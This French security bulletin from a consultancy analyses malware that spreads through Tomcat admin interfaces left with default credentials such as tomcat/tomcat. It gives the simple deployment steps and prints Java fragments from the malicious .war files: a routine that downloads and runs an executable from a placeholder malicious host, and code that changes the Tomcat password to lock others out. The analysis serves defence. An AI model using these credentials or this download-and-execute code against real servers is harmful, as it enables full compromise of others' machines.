HSC
Cabinet de consultants en sécurité informatique depuis 1989 - Spécialisé sur Unix, Windows, TCP/IP et Internet
Mode texte : accès au contenu de la page
Hervé Schauer Consultants
Vous êtes ici : Accueil > Ressources > Brèves > Malwar(e)
Accéder au : Site HSC des formations
Télécharger le catalogue des formations
Recherche :  
English version
   Services   
o Domaines de compétences
o Conseil & Expertise
o Prestations ISO 27001
o Audit & Évaluation
o Tests d'intrusion
o Tests de vulnérabilités (TSAR)
o Analyse Forensique
o Certification ARJEL
o Formations
o E-learning
   Conférences   
o Agenda
o Interventions passées
o Tutoriels
   Ressources   
o Index thématique
o Brèves
o Présentations
o Cours
o Articles
o Outils (téléchargement)
o Veille en vulnérabilité
   Société   
o Hervé Schauer
o Equipe
o Offres d'emploi
o Références
o Historique
o Partenariats
o Associations
   Presse et
 communication
 
 
o Newsletter HSC
o Bulletin juridique HSC
o Revue de presse
o Communiqués de presse
o Publications
   Contacts   
o Coordonnées
o Requêtes particulières
o Accès à nos locaux
o Hôtels proches de nos locaux
|>|Malwar(e)  

par Louis Nyffenegger (24/11/08)



-- [ Malwar(e) ]--------------------------------------------------------

Cet article présente le fonctionnement de certains malwares utilisant les
interfaces d'administration des serveurs Tomcat pour se déployer. 


--[ 1. Introduction ]---------------------------------------------------

S'il est une vulnérabilité qui m'amuse particulièrement et qui revient
régulièrement lors des tests d'intrusion, c'est la présence d'interfaces
d'administration Tomcat avec un couple identifiant/mot de passe trivial.

Le 4 octobre 2008, un mail sur la liste de développement de Tomcat
annonce l'existence de malwares utilisant cette vulnérabilité pour 
en installer d'autres sur des serveurs.


--[ 2. Exploitation ]---------------------------------------------------

L'exploitation de cette vulnérabilité est extrêmement simple. Pour cela,
un simple navigateur suffit, utilisé pour se connecter sur l'interface
d'administration (http://monserveur/manager/html), avant de trouver 
l'identifiant et le mot de passe "quivontbien" : 
    - tomcat/tomcat
    - admin/

Ensuite, il suffit de choisir une archive .war à déployer sur le
serveur.

Cette technique est utilisée par des personnes malveillantes pour
déployer des archives tout aussi malveillantes (Malwar) sur les
serveurs mal sécurisés.

Plusieurs variantes de ces archives existent :
    - 11111.war ;
    - fexcepkillshell.war ;
    - fexcepspshell.war ;
    - fexception.war ;
    - ...


--[ 3. Action Post-déploiement ]----------------------------------------

Après déploiement, un client se connecte à l'application malveillante
tout juste déployée sur la page index.jsp.

Dans la totalité des malwares étudiés, ceux-ci vérifient dans un premier
temps qu'il s'agit d'un serveur Windows : 

    sys=System.getProperty("os.name");
    int i=sys.indexOf("Windows");
    AutoKill ak=new AutoKill();
    if (i>-1)
    {

Cette vérification permet au malware de s'assurer que les programmes qui
seront exécutés par la suite sont compatibles avec le système infecté.
De plus, les serveurs Tomcat fonctionnent la plupart du temps sous
l'identitée "NT AUTHORITY\System". Ceci assure une compromission simple
et totale.

Le malwar(e) essaie ensuite de télécharger ses cousins sur des sites 
compromis ou malveillants :

  if (ak.exeFile())

où exeFile fait un simple appel à downFile :

  private boolean exeFile()
  {
    boolean afly=false;
      if (downFile(url,filesrc1))
      afly=true;
        [...]

et downFile(url,filesrc1) permet de télécharger et d'exécuter un fichier.
Par exemple :
 - Le serveur hébergeant le programme à télécharger.
   String url = "http://serveurmalveillant/down/30pc.exe"

 - Le nom de fichier sous lequel le programme sera sauvgardé.
    filesrc1 = request.getSession().getServletContext().getRealPath("")
                + "/init1.exe"

Enfin, afin de ne pas se faire recompromettre la machine, le malware
change le mot de passe par défaut dans la configuration de tomcat : 

    String s="\r\n";
    s=s+"\r\n";
    s=s+"\t\r\n";
    s=s+"\t\r\n";
    s=s+"\t\r\n";
    s=s+"\t\r\n";
    s=s+"\t\r\n";
    s=s+"";

La variable "pass" est un mot de passe aléatoire généré par la fonction
randomPass() :

  private String randomPass()
  {
    StringBuffer pass = new StringBuffer();
    int i =0;
    while(i<5)
    {
     i=(int)(Math.random()*12);
    }

    for(int j=0;j<=i;j++)
    {
      char c = (char)(Math.random()* 26 + 'A');
      pass.append(c);
    }
    return pass.toString()+String.valueOf(((int)(Math.random()*10000)));
  }


Des variantes de ces malwares utilisent par exemple un en-tête HTTP
renseigné par le client pour obtenir l'url de téléchargement des
malware :
 
    url = request.getHeader("Cache-Vip-Url");

Autrement, le programme est directement intégré dans l'archive war.


--[ 4. Conclusion ]-----------------------------------------------------

Cette brève vous a présenté le déploiement d'un malware via 
l'interface administration d'un serveur Tomcat.

        -- Louis Nyffenegger  --


--[ 5. Liens ]----------------------------------------------------------

- Le mail d'origine sur la mailing-list de Tomcat
    URL:http://marc.info/?l=tomcat-dev&m=122312090005568

- Le site du projet Tomcat
  URL:http://tomcat.apache.org




Dernière modification le 26 novembre 2008 à 10:12:11 CET - webmaster@hsc.fr
Mentions légales - Informations sur ce serveur - © 1989-2013 Hervé Schauer Consultants